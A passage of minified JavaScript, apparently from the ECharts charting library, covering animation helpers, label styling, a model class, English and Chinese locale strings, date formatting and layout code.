n=this._displayables[e],r=n.getBoundingRect().clone();n.needLocalTransform()&&r.applyTransform(n.getLocalTransform(Zc)),t.union(r)}this._rect=t}return this._rect},e.prototype.contain=function(t,e){var n=this.transformCoordToLocal(t,e);if(this.getBoundingRect().contain(n[0],n[1]))for(var r=0;r<this._displayables.length;r++){if(this._displayables[r].contain(t,e))return!0}return!1},e}(ts),Kc=Zo();function $c(t,e,n,r,i,o,a){var s,l=!1;X(i)?(a=o,o=i,i=null):j(i)&&(o=i.cb,a=i.during,l=i.isFrom,s=i.removeOpt,i=i.dataIndex);var u="leave"===t;u||e.stopAnimation("leave");var c=function(t,e,n,r,i){var o;if(e&&e.ecModel){var a=e.ecModel.getUpdatePayload();o=a&&a.animation}var s="update"===t;if(e&&e.isAnimationEnabled()){var l=void 0,u=void 0,c=void 0;return r?(l=it(r.duration,200),u=it(r.easing,"cubicOut"),c=0):(l=e.getShallow(s?"animationDurationUpdate":"animationDuration"),u=e.getShallow(s?"animationEasingUpdate":"animationEasing"),c=e.getShallow(s?"animationDelayUpdate":"animationDelay")),o&&(null!=o.duration&&(l=o.duration),null!=o.easing&&(u=o.easing),null!=o.delay&&(c=o.delay)),X(c)&&(c=c(n,i)),X(l)&&(l=l(n)),{duration:l||0,delay:c,easing:u}}return null}(t,r,i,u?s||{}:null,r&&r.getAnimationDelayParams?r.getAnimationDelayParams(e,i):null);if(c&&c.duration>0){var h={duration:c.duration,delay:c.delay||0,easing:c.easing,done:o,force:!!o||!!a,setToFinal:!u,scope:t,during:a};l?e.animateFrom(n,h):e.animateTo(n,h)}else e.stopAnimation(),!l&&e.attr(n),a&&a(1),o&&o()}function Qc(t,e,n,r,i,o){$c("update",t,e,n,r,i,o)}function Jc(t,e,n,r,i,o){$c("enter",t,e,n,r,i,o)}function th(t){if(!t.__zr)return!0;for(var e=0;e<t.animators.length;e++){if("leave"===t.animators[e].scope)return!0}return!1}function eh(t,e,n,r,i,o){th(t)||$c("leave",t,e,n,r,i,o)}function nh(t,e,n,r){t.removeTextContent(),t.removeTextGuideLine(),eh(t,{style:{opacity:0}},e,n,r)}function rh(t,e,n){function r(){t.parent&&t.parent.remove(t)}t.isGroup?t.traverse(function(t){t.isGroup||nh(t,e,n,r)}):nh(t,e,n,r)}function ih(t){Kc(t).oldStyle=t.style}var oh={},ah=["x","y"],sh=["width","height"];var lh=function(t,e){var r=Ju(t,e);return function(t){function e(e){var n=t.call(this,e)||this;return n.applyTransform=r.applyTransform,n.buildPath=r.buildPath,n}return n(e,t),e}($u)};function uh(t,e){oh[t]=e}function ch(t,e,n,r){var i=function(t,e){return new $u(Ju(t,e))}(t,e);return n&&("center"===r&&(n=fh(n,i.getBoundingRect())),dh(i,n)),i}function hh(t,e,n){var r=new sl({style:{image:t,x:e.x,y:e.y,width:e.width,height:e.height},onload:function(t){if("center"===n){var i={width:t.width,height:t.height};r.setStyle(fh(e,i))}}});return r}function fh(t,e){var n,r=e.width/e.height,i=t.height*r;return n=i<=t.width?t.height:(i=t.width)/r,{x:t.x+t.width/2-i/2,y:t.y+t.height/2-n/2,width:i,height:n}}var ph=function(t,e){for(var n=[],r=t.length,i=0;i<r;i++){var o=t[i];n.push(o.getUpdatedPathProxy(!0))}var a=new nl(e);return a.createPathProxy(),a.buildPath=function(t){if(Qu(t)){t.appendPath(n);var e=t.getContext();e&&t.rebuildPath(e,1)}},a};function dh(t,e){if(t.applyTransform){var n=t.getBoundingRect().calculateTransform(e);t.applyTransform(n)}}function gh(t,e){return ul(t,t,{lineWidth:e}),t}function vh(t){return!t.isGroup}function yh(t,e,n,r,i){return null==e||(Z(e)?mh[0]=mh[1]=mh[2]=mh[3]=e:(mh[0]=e[0],mh[1]=e[1],mh[2]=e[2],mh[3]=e[3]),r&&(mh[0]=Zi(0,mh[0]),mh[1]=Zi(0,mh[1]),mh[2]=Zi(0,mh[2]),mh[3]=Zi(0,mh[3])),n&&(mh[0]=-mh[0],mh[1]=-mh[1],mh[2]=-mh[2],mh[3]=-mh[3]),_h(t,mh,"x","width",3,1,i&&i[0]||0),_h(t,mh,"y","height",0,2,i&&i[1]||0)),t}var mh=[0,0,0,0];function _h(t,e,n,r,i,o,a){var s=e[o]+e[i],l=t[r];t[r]+=s,a=Zi(0,qi(a,l)),t[r]<a?(t[r]=a,t[n]+=e[i]>=0?-e[i]:e[o]>=0?l+e[o]:ji(s)>1e-8?(l-a)*e[i]/s:0):t[n]-=e[i]}function xh(t){var e=t.itemTooltipOption,n=t.componentModel,r=t.itemName,i=Y(e)?{formatter:e}:e,o=n.mainType,a=n.componentIndex,s={componentType:o,name:r,$vars:["name"]};s[o+"Index"]=a;var l=t.formatterParamsExtra;l&&E(H(l),function(t){xt(s,t)||(s[t]=l[t],s.$vars.push(t))});var u=Dl(t.el);u.componentMainType=o,u.componentIndex=a,u.tooltipConfig={name:r,option:A({content:r,encodeHTMLContent:!0,formatterParams:s},i)}}function bh(t,e){var n;t.isGroup&&(n=e(t)),n||t.traverse(e)}function wh(t,e){if(t)if(U(t))for(var n=0;n<t.length;n++)bh(t[n],e);else bh(t,e)}function Sh(t){return!t||ji(t[1])<Mh&&ji(t[2])<Mh||ji(t[0])<Mh&&ji(t[3])<Mh}var Mh=1e-5;function Th(t,e){return t?Be.copy(t,e):e.clone()}function kh(t,e){return e?ve(t||[1,0,0,1,0,0],e):void 0}function Ch(t,e,n){Ih(t,e,n,-1/0)}function Ih(t,e,n,r){if(t.ignoreModelZ)return r;var i=t.getTextContent(),o=t.getTextGuideLine();if(t.isGroup)for(var a=t.childrenRef(),s=0;s<a.length;s++)r=Zi(Ih(a[s],e,n,r),r);else t.z=e,t.zlevel=n,r=Zi(t.z2||0,r);if(i&&(i.z=e,i.zlevel=n,isFinite(r)&&(i.z2=r+2)),o){var l=t.textGuideLineConfig;o.z=e,o.zlevel=n,isFinite(r)&&(o.z2=r+(l&&l.showAbove?1:-1))}return r}(new si).transform=[1,0,0,1,0,0],uh("circle",ec),uh("ellipse",rc),uh("sector",mc),uh("ring",xc),uh("polygon",Sc),uh("polyline",Tc),uh("rect",pl),uh("line",Ic),uh("bezierCurve",Pc),uh("arc",Rc);var Dh={};function Ah(t,e,n){var r,i=t.labelFetcher,o=t.labelDataIndex,a=t.labelDimIndex,s=e.normal;i&&(r=i.getFormattedLabel(o,"normal",null,a,s&&s.get("formatter"),null!=n?{interpolatedValue:n}:null)),null==r&&(r=X(t.defaultText)?t.defaultText(o,t,n):t.defaultText);for(var l={normal:r},u=0;u<ql.length;u++){var c=ql[u],h=e[c];l[c]=it(i?i.getFormattedLabel(o,c,null,a,h&&h.get("formatter")):null,r)}return l}function Lh(t,e,n,r){n=n||Dh;for(var i=t instanceof yl,o=!1,a=0;a<Zl.length;a++){if((f=e[Zl[a]])&&f.getShallow("show")){o=!0;break}}var s=i?t:t.getTextContent();if(o){i||(s||(s=new yl,t.setTextContent(s)),t.stateProxy&&(s.stateProxy=t.stateProxy));var l=Ah(n,e),u=e.normal,c=!!u.getShallow("show"),h=Oh(u,r&&r.normal,n,!1,!i);h.text=l.normal,i||t.setTextConfig(Rh(u,n,!1));for(a=0;a<ql.length;a++){var f,p=ql[a];if(f=e[p]){var d=s.ensureState(p),g=!!it(f.getShallow("show"),c);if(g!==c&&(d.ignore=!g),d.style=Oh(f,r&&r[p],n,!0,!i),d.style.text=l[p],!i)t.ensureState(p).textConfig=Rh(f,n,!0)}}s.silent=!!u.getShallow("silent"),null!=s.style.x&&(h.x=s.style.x),null!=s.style.y&&(h.y=s.style.y),s.ignore=!c,s.useStyle(h),s.dirty(),n.enableTextSetter&&(Fh(s).setLabelText=function(t){var r=Ah(n,e,t);!function(t,e){for(var n=0;n<ql.length;n++){var r=ql[n],i=e[r],o=t.ensureState(r);o.style=o.style||{},o.style.text=i}var a=t.currentStates.slice();t.clearStates(!0),t.setStyle({text:e.normal}),t.useStates(a,!0)}(s,r)})}else s&&(s.ignore=!0);t.dirty()}function Ph(t,e){e=e||"label";for(var n={normal:t.getModel(e)},r=0;r<ql.length;r++){var i=ql[r];n[i]=t.getModel([i,e])}return n}function Oh(t,e,n,r,i){var o={};return function(t,e,n,r,i){n=n||Dh;var o,a=e.ecModel,s=a&&a.option.textStyle,l=function(t){var e;for(;t&&t!==t.ecModel;){var n=(t.option||Dh).rich;if(n){e=e||{};for(var r=H(n),i=0;i<r.length;i++){e[r[i]]=1}}t=t.parentModel}return e}(e);if(l){o={};var u="richInheritPlainLabel",c=it(e.get(u),a?a.get(u):void 0);for(var h in l)if(l.hasOwnProperty(h)){var f=e.getModel(["rich",h]);zh(o[h]={},f,s,e,c,n,r,i,!1,!0)}}o&&(t.rich=o);var p=e.get("overflow");p&&(t.overflow=p);var d=e.get("lineOverflow");d&&(t.lineOverflow=d);var g=t,v=e.get("minMargin");if(null!=v)v=Z(v)?v/2:0,g.margin=[v,v,v,v],g.__marginType=Wh.minMargin;else{var y=e.get("textMargin");null!=y&&(g.margin=st(y),g.__marginType=Wh.textMargin)}zh(t,e,s,null,null,n,r,i,!0,!1)}(o,t,n,r,i),e&&I(o,e),o}function Rh(t,e,n){e=e||{};var r,i={},o=t.getShallow("rotate"),a=it(t.getShallow("distance"),n?null:5),s=t.getShallow("offset");return"outside"===(r=t.getShallow("position")||(n?null:"inside"))&&(r=e.defaultOutsidePosition||"top"),null!=r&&(i.position=r),null!=s&&(i.offset=s),null!=o&&(o*=Math.PI/180,i.rotation=o),null!=a&&(i.distance=a),i.outsideFill="inherit"===t.get("color")?e.inheritColor||null:"auto",null!=e.autoOverflowArea&&(i.autoOverflowArea=e.autoOverflowArea),null!=e.layoutRect&&(i.layoutRect=e.layoutRect),i}var Nh=["fontStyle","fontWeight","fontSize","fontFamily","textShadowColor","textShadowBlur","textShadowOffsetX","textShadowOffsetY"],Eh=["align","lineHeight","width","height","tag","verticalAlign","ellipsis"],Bh=["padding","borderWidth","borderRadius","borderDashOffset","backgroundColor","borderColor","shadowColor","shadowBlur","shadowOffsetX","shadowOffsetY"];function zh(t,e,n,r,i,o,a,s,l,u){n=!a&&n||Dh;var c=o&&o.inheritColor,h=e.getShallow("color"),f=e.getShallow("textBorderColor"),p=it(e.getShallow("opacity"),n.opacity);"inherit"!==h&&"auto"!==h||(h=c||null),"inherit"!==f&&"auto"!==f||(f=c||null),s||(h=h||n.color,f=f||n.textBorderColor),null!=h&&(t.fill=h),null!=f&&(t.stroke=f);var d=it(e.getShallow("textBorderWidth"),n.textBorderWidth);null!=d&&(t.lineWidth=d);var g=it(e.getShallow("textBorderType"),n.textBorderType);null!=g&&(t.lineDash=g);var v=it(e.getShallow("textBorderDashOffset"),n.textBorderDashOffset);null!=v&&(t.lineDashOffset=v),a||null!=p||u||(p=o&&o.defaultOpacity),null!=p&&(t.opacity=p),a||s||null==t.fill&&o.inheritColor&&(t.fill=o.inheritColor);for(var y=0;y<Nh.length;y++){var m=Nh[y];null!=(x=!1!==i&&r?ot(e.getShallow(m),r.getShallow(m),n[m]):it(e.getShallow(m),n[m]))&&(t[m]=x)}for(y=0;y<Eh.length;y++){m=Eh[y];null!=(x=e.getShallow(m))&&(t[m]=x)}if(null==t.verticalAlign){var _=e.getShallow("baseline");null!=_&&(t.verticalAlign=_)}if(!l||!o.disableBox){for(y=0;y<Bh.length;y++){var x;m=Bh[y];null!=(x=e.getShallow(m))&&(t[m]=x)}var b=e.getShallow("borderType");null!=b&&(t.borderDash=b),"auto"!==t.backgroundColor&&"inherit"!==t.backgroundColor||!c||(t.backgroundColor=c),"auto"!==t.borderColor&&"inherit"!==t.borderColor||!c||(t.borderColor=c)}}var Fh=Zo();var Vh,Hh,Wh={minMargin:1,textMargin:2},Gh=["textStyle","color"],Uh=["fontStyle","fontWeight","fontSize","fontFamily","padding","lineHeight","rich","width","height","overflow"],Xh=new yl,Yh=function(){function t(){}return t.prototype.getTextColor=function(t){var e=this.ecModel;return this.getShallow("color")||(!t&&e?e.get(Gh):null)},t.prototype.getFont=function(){return t={fontStyle:this.getShallow("fontStyle"),fontWeight:this.getShallow("fontWeight"),fontSize:this.getShallow("fontSize"),fontFamily:this.getShallow("fontFamily")},e=this.ecModel,n=e&&e.getModel("textStyle"),ut([t.fontStyle||n&&n.getShallow("fontStyle")||"",t.fontWeight||n&&n.getShallow("fontWeight")||"",(t.fontSize||n&&n.getShallow("fontSize")||12)+"px",t.fontFamily||n&&n.getShallow("fontFamily")||"sans-serif"].join(" "));var t,e,n},t.prototype.getTextRect=function(t){for(var e={text:t,verticalAlign:this.getShallow("verticalAlign")||this.getShallow("baseline")},n=0;n<Uh.length;n++)e[Uh[n]]=this.getShallow(Uh[n]);return Xh.useStyle(e),Xh.update(),Xh.getBoundingRect()},t}(),qh=[["lineWidth","width"],["stroke","color"],["opacity"],["shadowBlur"],["shadowOffsetX"],["shadowOffsetY"],["shadowColor"],["lineDash","type"],["lineDashOffset","dashOffset"],["lineCap","cap"],["lineJoin","join"],["miterLimit"]],Zh=Sa(qh),jh=function(){function t(){}return t.prototype.getLineStyle=function(t){return Zh(this,t)},t}(),Kh=[["fill","color"],["stroke","borderColor"],["lineWidth","borderWidth"],["opacity"],["shadowBlur"],["shadowOffsetX"],["shadowOffsetY"],["shadowColor"],["lineDash","borderType"],["lineDashOffset","borderDashOffset"],["lineCap","borderCap"],["lineJoin","borderJoin"],["miterLimit","borderMiterLimit"]],$h=Sa(Kh),Qh=function(){function t(){}return t.prototype.getItemStyle=function(t,e){return $h(this,t,e)},t}(),Jh=function(){function t(t,e,n){this.parentModel=e,this.ecModel=n,this.option=t}return t.prototype.init=function(t,e,n){for(var r=[],i=3;i<arguments.length;i++)r[i-3]=arguments[i]},t.prototype.mergeOption=function(t,e){C(this.option,t,!0)},t.prototype.get=function(t,e){return null==t?this.option:this._doGet(this.parsePath(t),!e&&this.parentModel)},t.prototype.getShallow=function(t,e){var n=this.option,r=null==n?n:n[t];if(null==r&&!e){var i=this.parentModel;i&&(r=i.getShallow(t))}return r},t.prototype.getModel=function(e,n){var r=null!=e,i=r?this.parsePath(e):null;return new t(r?this._doGet(i):this.option,n=n||this.parentModel&&this.parentModel.getModel(this.resolveParentPath(i)),this.ecModel)},t.prototype.isEmpty=function(){return null==this.option},t.prototype.restoreData=function(){},t.prototype.clone=function(){return new(0,this.constructor)(k(this.option))},t.prototype.parsePath=function(t){return"string"==typeof t?t.split("."):t},t.prototype.resolveParentPath=function(t){return t},t.prototype.isAnimationEnabled=function(){if(!i.node&&this.option){if(null!=this.option.animation)return!!this.option.animation;if(this.parentModel)return this.parentModel.isAnimationEnabled()}},t.prototype._doGet=function(t,e){var n=this.option;if(!t)return n;for(var r=0;r<t.length&&(!t[r]||null!=(n=n&&"object"==typeof n?n[t[r]]:null));r++);return null==n&&e&&(n=e._doGet(this.resolveParentPath(t),e.parentModel)),n},t}();ya(Jh),Vh=Jh,Hh=["__\0is_clz",_a++].join("_"),Vh.prototype[Hh]=!0,Vh.isInstance=function(t){return!(!t||!t[Hh])},R(Jh,jh),R(Jh,Qh),R(Jh,Ta),R(Jh,Yh);var tf=Math.round(10*Math.random());function ef(t){return[t||"",tf++].join("_")}var nf="ZH",rf="EN",of=rf,af={},sf={},lf=i.domSupported&&(document.documentElement.lang||navigator.language||navigator.browserLanguage||of).toUpperCase().indexOf(nf)>-1?nf:of;function uf(t,e){t=t.toUpperCase(),sf[t]=new Jh(e),af[t]=e}uf(rf,{time:{month:["January","February","March","April","May","June","July","August","September","October","November","December"],monthAbbr:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayOfWeek:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayOfWeekAbbr:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"]},legend:{selector:{all:"All",inverse:"Inv"}},toolbox:{brush:{title:{rect:"Box Select",polygon:"Lasso Select",lineX:"Horizontally Select",lineY:"Vertically Select",keep:"Keep Selections",clear:"Clear Selections"}},dataView:{title:"Data View",lang:["Data View","Close","Refresh"]},dataZoom:{title:{zoom:"Zoom",back:"Zoom Reset"}},magicType:{title:{line:"Switch to Line Chart",bar:"Switch to Bar Chart",stack:"Stack",tiled:"Tile"}},restore:{title:"Restore"},saveAsImage:{title:"Save as Image",lang:["Right Click to Save Image"]}},series:{typeNames:{pie:"Pie chart",bar:"Bar chart",line:"Line chart",scatter:"Scatter plot",effectScatter:"Ripple scatter plot",radar:"Radar chart",tree:"Tree",treemap:"Treemap",boxplot:"Boxplot",candlestick:"Candlestick",k:"K line chart",heatmap:"Heat map",map:"Map",parallel:"Parallel coordinate map",lines:"Line graph",graph:"Relationship graph",sankey:"Sankey diagram",funnel:"Funnel chart",gauge:"Gauge",pictorialBar:"Pictorial bar",themeRiver:"Theme River Map",sunburst:"Sunburst",custom:"Custom chart",chart:"Chart"}},aria:{general:{withTitle:'This is a chart about "{title}"',withoutTitle:"This is a chart"},series:{single:{prefix:"",withName:" with type {seriesType} named {seriesName}.",withoutName:" with type {seriesType}."},multiple:{prefix:". It consists of {seriesCount} series count.",withName:" The {seriesId} series is a {seriesType} representing {seriesName}.",withoutName:" The {seriesId} series is a {seriesType}.",separator:{middle:"",end:""}}},data:{allData:"The data is as follows: ",partialData:"The first {displayCnt} items are: ",withName:"the data for {name} is {value}",withoutName:"{value}",separator:{middle:", ",end:". "}}}}),uf(nf,{time:{month:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],monthAbbr:["1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月"],dayOfWeek:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],dayOfWeekAbbr:["日","一","二","三","四","五","六"]},legend:{selector:{all:"全选",inverse:"反选"}},toolbox:{brush:{title:{rect:"矩形选择",polygon:"圈选",lineX:"横向选择",lineY:"纵向选择",keep:"保持选择",clear:"清除选择"}},dataView:{title:"数据视图",lang:["数据视图","关闭","刷新"]},dataZoom:{title:{zoom:"区域缩放",back:"区域缩放还原"}},magicType:{title:{line:"切换为折线图",bar:"切换为柱状图",stack:"切换为堆叠",tiled:"切换为平铺"}},restore:{title:"还原"},saveAsImage:{title:"保存为图片",lang:["右键另存为图片"]}},series:{typeNames:{pie:"饼图",bar:"柱状图",line:"折线图",scatter:"散点图",effectScatter:"涟漪散点图",radar:"雷达图",tree:"树图",treemap:"矩形树图",boxplot:"箱型图",candlestick:"K线图",k:"K线图",heatmap:"热力图",map:"地图",parallel:"平行坐标图",lines:"线图",graph:"关系图",sankey:"桑基图",funnel:"漏斗图",gauge:"仪表盘图",pictorialBar:"象形柱图",themeRiver:"主题河流图",sunburst:"旭日图",custom:"自定义图表",chart:"图表"}},aria:{general:{withTitle:"这是一个关于“{title}”的图表。",withoutTitle:"这是一个图表,"},series:{single:{prefix:"",withName:"图表类型是{seriesType},表示{seriesName}。",withoutName:"图表类型是{seriesType}。"},multiple:{prefix:"它由{seriesCount}个图表系列组成。",withName:"第{seriesId}个系列是一个表示{seriesName}的{seriesType},",withoutName:"第{seriesId}个系列是一个{seriesType},",separator:{middle:";",end:"。"}}},data:{allData:"其数据是——",partialData:"其中,前{displayCnt}项是——",withName:"{name}的数据是{value}",withoutName:"{value}",separator:{middle:",",end:""}}}});function cf(){return null}function hf(t,e){var n=null,r=e.breakOption,i=e.breakParsed;return!i&&n&&(i=n.parseAxisBreakOption(r,t)),i}function ff(t){var e=t.brk;return e?e.breaks:[]}function pf(t){var e=t.brk;return!!e&&e.hasBreaks()}var df=1e3,gf=6e4,vf=36e5,yf=864e5,mf=31536e6,_f={year:/({yyyy}|{yy})/,month:/({MMMM}|{MMM}|{MM}|{M})/,day:/({dd}|{d})/,hour:/({HH}|{H}|{hh}|{h})/,minute:/({mm}|{m})/,second:/({ss}|{s})/,millisecond:/({SSS}|{S})/},xf={year:"{yyyy}",month:"{MMM}",day:"{d}",hour:"{HH}:{mm}",minute:"{HH}:{mm}",second:"{HH}:{mm}:{ss}",millisecond:"{HH}:{mm}:{ss} {SSS}"},bf="{yyyy}-{MM}-{dd}",wf={year:"{yyyy}",month:"{yyyy}-{MM}",day:bf,hour:bf+" "+xf.hour,minute:bf+" "+xf.minute,second:bf+" "+xf.second,millisecond:"{yyyy}-{MM}-{dd} {HH}:{mm}:{ss} {SSS}"},Sf=["year","month","day","hour","minute","second","millisecond"],Mf=["year","half-year","quarter","month","week","half-week","day","half-day","quarter-day","hour","minute","second","millisecond"];function Tf(t){return Y(t)||X(t)?t:function(t){t=t||{};var e={},n=!0;return E(Sf,function(e){n&&(n=null==t[e])}),E(Sf,function(r,i){var o=t[r];e[r]={};for(var a=null,s=i;s>=0;s--){var l=Sf[s],u=j(o)&&!U(o)?o[l]:o,c=void 0;U(u)?a=(c=u.slice())[0]||"":Y(u)?c=[a=u]:(null==a?a=xf[r]:_f[l].test(a)||(a=e[l][l][0]+" "+a),c=[a],n&&(c[1]="{primary|"+a+"}")),e[r][l]=c}}),e}(t)}function kf(t,e){return"0000".substr(0,e-(t+="").length)+t}function Cf(t){switch(t){case"half-year":case"quarter":return"month";case"week":case"half-week":return"day";case"half-day":case"quarter-day":return"hour";default:return t}}function If(t){return t===Cf(t)}function Df(t,e,n,r){var i=mo(t),o=i[Pf(n)](),a=i[Of(n)]()+1,s=Math.floor((a-1)/3)+1,l=i[Rf(n)](),u=i["get"+(n?"UTC":"")+"Day"](),c=i[Nf(n)](),h=(c-1)%12+1,f=i[Ef(n)](),p=i[Bf(n)](),d=i[zf(n)](),g=c>=12?"pm":"am",v=g.toUpperCase(),y=r instanceof Jh?r:function(t){return sf[t]}(r||lf)||sf[of],m=y.getModel("time"),_=m.get("month"),x=m.get("monthAbbr"),b=m.get("dayOfWeek"),w=m.get("dayOfWeekAbbr");return(e||"").replace(/{a}/g,g+"").replace(/{A}/g,v+"").replace(/{yyyy}/g,o+"").replace(/{yy}/g,kf(o%100+"",2)).replace(/{Q}/g,s+"").replace(/{MMMM}/g,_[a-1]).replace(/{MMM}/g,x[a-1]).replace(/{MM}/g,kf(a,2)).replace(/{M}/g,a+"").replace(/{dd}/g,kf(l,2)).replace(/{d}/g,l+"").replace(/{eeee}/g,b[u]).replace(/{ee}/g,w[u]).replace(/{e}/g,u+"").replace(/{HH}/g,kf(c,2)).replace(/{H}/g,c+"").replace(/{hh}/g,kf(h+"",2)).replace(/{h}/g,h+"").replace(/{mm}/g,kf(f,2)).replace(/{m}/g,f+"").replace(/{ss}/g,kf(p,2)).replace(/{s}/g,p+"").replace(/{SSS}/g,kf(d,3)).replace(/{S}/g,d+"")}function Af(t,e){var n=mo(t),r=n[Of(e)]()+1,i=n[Rf(e)](),o=n[Nf(e)](),a=n[Ef(e)](),s=n[Bf(e)](),l=0===n[zf(e)](),u=l&&0===s,c=u&&0===a,h=c&&0===o,f=h&&1===i;return f&&1===r?"year":f?"month":h?"day":c?"hour":u?"minute":l?"second":"millisecond"}function Lf(t,e,n){switch(e){case"year":t[Vf(n)](0);case"month":t[Hf(n)](1);case"day":t[Wf(n)](0);case"hour":t[Gf(n)](0);case"minute":t[Uf(n)](0);case"second":t[Xf(n)](0)}return t}function Pf(t){return t?"getUTCFullYear":"getFullYear"}function Of(t){return t?"getUTCMonth":"getMonth"}function Rf(t){return t?"getUTCDate":"getDate"}function Nf(t){return t?"getUTCHours":"getHours"}function Ef(t){return t?"getUTCMinutes":"getMinutes"}function Bf(t){return t?"getUTCSeconds":"getSeconds"}function zf(t){return t?"getUTCMilliseconds":"getMilliseconds"}function Ff(t){return t?"setUTCFullYear":"setFullYear"}function Vf(t){return t?"setUTCMonth":"setMonth"}function Hf(t){return t?"setUTCDate":"setDate"}function Wf(t){return t?"setUTCHours":"setHours"}function Gf(t){return t?"setUTCMinutes":"setMinutes"}function Uf(t){return t?"setUTCSeconds":"setSeconds"}function Xf(t){return t?"setUTCMilliseconds":"setMilliseconds"}function Yf(t){if(!So(t))return Y(t)?t:"-";var e=(t+"").split(".");return e[0].replace(/(\d{1,3})(?=(?:\d{3})+(?!\d))/g,"$1,")+(e.length>1?"."+e[1]:"")}var qf=st,Zf=["a","b","c","d","e","f","g"],jf=function(t,e){return"{"+t+(null==e?"":e)+"}"};function Kf(t,e,n){U(e)||(e=[e]);var r=e.length;if(!r)return"";for(var i=e[0].$vars||[],o=0;o<i.length;o++){var a=Zf[o];t=t.replace(jf(a),jf(a,0))}for(var s=0;s<r;s++)for(var l=0;l<i.length;l++){var u=e[s][i[l]];t=t.replace(jf(Zf[l],s),n?ne(u):u)}return t}function $f(t,e){return e=e||"transparent",Y(t)?t:j(t)&&t.colorStops&&(t.colorStops[0]||{}).color||e}var Qf={},Jf={},tp=function(){function t(){this._normalMasterList=[],this._nonSeriesBoxMasterList=[]}return t.prototype.create=function(t,e){function n(n,r){var i=[];return E(n,function(n,r){var o=n.create(t,e);i=i.concat(o||[])}),i}this._nonSeriesBoxMasterList=n(Qf,!0),this._normalMasterList=n(Jf,!1)},t.prototype.update=function(t,e){E(this._normalMasterList,function(n){n.update&&n.update(t,e)})},t.prototype.getCoordinateSystems=function(){return this._normalMasterList.concat(this._nonSeriesBoxMasterList)},t.register=function(t,e){"matrix"!==t&&"calendar"!==t?Jf[t]=e:Qf[t]=e},t.get=function(t){return Jf[t]||Qf[t]},t}();var ep=vt();function np(t){var e=t.getShallow("coord",!0),n=1;if(null==e){var r=ep.get(t.type);r&&r.getCoord2&&(n=2,e=r.getCoord2(t))}return{coord:e,from:n}}function rp(t,e){var n=t.getShallow("coordinateSystem"),r=t.getShallow("coordinateSystemUsage",!0),i=0;if(n){var o="series"===t.mainType;null==r&&(r=o?"data":"box"),"data"===r?(i=1,o||(i=0)):"box"===r&&(i=2,o||function(t){return!!Qf[t]}(n)||(i=0))}return{coordSysType:n,kind:i}}var ip=E,op=["left","right","top","bottom","width","height"],ap=[["width","left","right"],["height","top","bottom"]];function sp(t,e,n,r,i){var o=0,a=0;null==r&&(r=1/0),null==i&&(i=1/0);var s=0;e.eachChild(function(l,u){var c,h,f=l.getBoundingRect(),p=e.childAt(u+1),d=p&&p.getBoundingRect();if("horizontal"===t){var g=f.width+(d?-d.x+f.x:0);(c=o+g)>r||l.newline?(o=0,c=g,a+=s+n,s=f.height):s=Math.max(s,f.height)}else{var v=f.height+(d?-d.y+f.y:0);(h=a+v)>i||l.newline?(o+=s+n,a=0,h=v,s=f.width):s=Math.max(s,f.width)}l.newline||(l.x=o,l.y=a,l.markRedraw(),"horizontal"===t?o=c+n:a=h+n)})}G(sp,"vertical"),G(sp,"horizontal");function lp(t,e){var n=function(t,e){var n,r,i=hp(t,e,{enableLayoutOnlyByCenter:!0}),o=t.getBoxLayoutParams();if(i.type===cp.point)r=i.refPoint,n=up(o,{width:e.getWidth(),height:e.getHeight()});else{var a=t.get("center"),s=U(a)?a:[a,a];n=up(o,i.refContainer),r=2===i.boxCoordFrom?i.refPoint:[oo(s[0],n.width)+n.x,oo(s[1],n.height)+n.y]}return{viewRect:n,center:r}}(t,e),r=n.viewRect,i=n.center,o=t.get("radius");U(o)||(o=[0,o]);var a=oo(r.width,e.getWidth()),s=oo(r.height,e.getHeight()),l=Math.min(a,s),u=oo(o[0],l/2),c=oo(o[1],l/2);return{cx:i[0],cy:i[1],r0:u,r:c,viewRect:r}}function up(t,e,n){n=qf(n||0);var r=e.width,i=e.height,o=oo(t.left,r),a=oo(t.top,i),s=oo(t.right,r),l=oo(t.bottom,i),u=oo(t.width,r),c=oo(t.height,i),h=n[2]+n[0],f=n[1]+n[3],p=t.aspect;switch(isNaN(u)&&(u=r-s-f-o),isNaN(c)&&(c=i-l-h-a),null!=p&&(isNaN(u)&&isNaN(c)&&(p>r/i?u=.8*r:c=.8*i),isNaN(u)&&(u=p*c),isNaN(c)&&(c=u/p)),isNaN(o)&&(o=r-s-u-f),isNaN(a)&&(a=i-l-c-h),t.left||t.right){case"center":o=r/2-u/2-n[3];break;case"right":o=r-u-f}switch(t.top||t.bottom){case"middle":case"center":a=i/2-c/2-n[0];break;case"bottom":a=i-c-h}o=o||0,a=a||0,isNaN(u)&&(u=r-f-o-(s||0)),isNaN(c)&&(c=i-h-a-(l||0));var d=new Be((e.x||0)+o+n[3],(e.y||0)+a+n[0],u,c);return d.margin=n,d}var cp={rect:1,point:2};function hp(t,e,n){var r,i,o,a,s=t.boxCoordinateSystem;if(s){var l=np(t),u=l.coord,c=l.from;if(s.dataToLayout){o=cp.rect,a=c;var h=s.dataToLayout(u);r=h.contentRect||h.rect}else n&&n.enableLayoutOnlyByCenter&&s.dataToPoint&&(o=cp.point,a=c,i=s.dataToPoint(u))}return null==o&&(o=cp.rect),o===cp.rect&&(r||(r={x:0,y:0,width:e.getWidth(),height:e.getHeight()}),i=[r.x+r.width/2,r.y+r.height/2]),{type:o,refContainer:r,refPoint:i,boxCoordFrom:a}}function fp(t){var e=t.layoutMode||t.constructor.layoutMode;return j(e)?e:e?{type:e}:null}function pp(t,e,n){var r=n&&n.ignoreSize;!U(r)&&(r=[r,r]);var i=a(ap[0],0),o=a(ap[1],1);function a(n,i){var o={},a=0,l={},u=0;if(ip(n,function(e){l[e]=t[e]}),ip(n,function(t){xt(e,t)&&(o[t]=l[t]=e[t]),s(o,t)&&a++,s(l,t)&&u++}),r[i])return s(e,n[1])?l[n[2]]=null:s(e,n[2])&&(l[n[1]]=null),l;if(2!==u&&a){if(a>=2)return o;for(var c=0;c<n.length;c++){var h=n[c];if(!xt(o,h)&&xt(t,h)){o[h]=t[h];break}}return o}return l}function s(t,e){return null!=t[e]&&"auto"!==t[e]}function l(t,e,n){ip(t,function(t){e[t]=n[t]})}l(ap[0],t,i),l(ap[1],t,o)}function dp(t){return function(t,e){return 